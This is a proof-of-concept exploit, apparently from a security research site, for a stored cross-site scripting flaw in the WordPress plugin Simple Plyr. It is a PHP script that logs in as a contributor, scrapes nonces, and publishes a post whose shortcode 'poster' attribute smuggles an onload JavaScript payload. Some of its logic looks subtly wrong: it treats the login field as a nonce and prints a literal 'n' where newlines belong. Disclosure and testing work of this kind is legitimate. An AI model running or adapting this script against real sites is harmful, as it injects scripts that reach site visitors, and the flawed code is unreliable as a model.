CVE-2026-1915: Simple Plyr <= 0.0.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'poster' Shortcode Attribute (simple-plyr)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1915 - Simple Plyr <= 0.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'poster' Shortcode Attribute
<?php
// Configuration
$target_url = 'http://target-site.com/wp-admin/post-new.php'; // New post page for Contributor+
$username = 'contributor_user'; // Attacker's username
$password = 'attacker_password'; // Attacker's password
$payload = '[plyr poster="http://valid.image/url.jpg" onload="alert(`Atomic Edge XSS`)"]';

// Initialize cURL session for WordPress login and cookie handling
$ch = curl_init();
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_USERAGENT => 'Atomic Edge PoC Client'
]);

// Step 1: Fetch the login page to obtain the login nonce (wpnonce)
curl_setopt($ch, CURLOPT_URL, 'http://target-site.com/wp-login.php');
$login_page = curl_exec($ch);

// Extract the login nonce (log) from the form. This regex is a common pattern.
preg_match('/name="log" value="([^"]*)"/', $login_page, $log_match);
$log_nonce = $log_match[1] ?? '';

// Step 2: Submit login credentials
$login_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
]);
curl_setopt_array($ch, [
    CURLOPT_URL => 'http://target-site.com/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $login_data,
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$login_response = curl_exec($ch);

// Step 3: Access the new post page to obtain the post creation nonce (_wpnonce)
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);

// Extract the nonce for creating a post. This regex targets the editor nonce.
preg_match('/name="_wpnonce" value="([^"]*)"/', $post_page, $nonce_match);
$editor_nonce = $nonce_match[1] ?? '';

// Step 4: Create a new post with the malicious shortcode payload
// Assumes the default WordPress post creation endpoint and parameters.
$post_data = http_build_query([
    'post_title' => 'Test Post with XSS',
    'content' => $payload,
    'publish' => 'Publish',
    '_wpnonce' => $editor_nonce,
    'post_type' => 'post'
]);
curl_setopt_array($ch, [
    CURLOPT_URL => 'http://target-site.com/wp-admin/post.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $post_data,
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$post_response = curl_exec($ch);

// Check for success (simplified check for demonstration)
if (strpos($post_response, 'Post published') !== false || strpos($post_response, 'Post updated') !== false) {
    echo "[+] Exploit likely succeeded. Post containing XSS payload created.n";
    // Attempt to extract the post URL from response for verification
    preg_match('/class="view-post".*?href="([^"]*)"/', $post_response, $url_match);
    if (!empty($url_match[1])) {
        echo "[+] Post URL: " . htmlspecialchars($url_match[1]) . "n";
    }
} else {
    echo "[-] Exploit may have failed. Check authentication and permissions.n";
}

// Cleanup
curl_close($ch);
unlink($cookie_file);
?>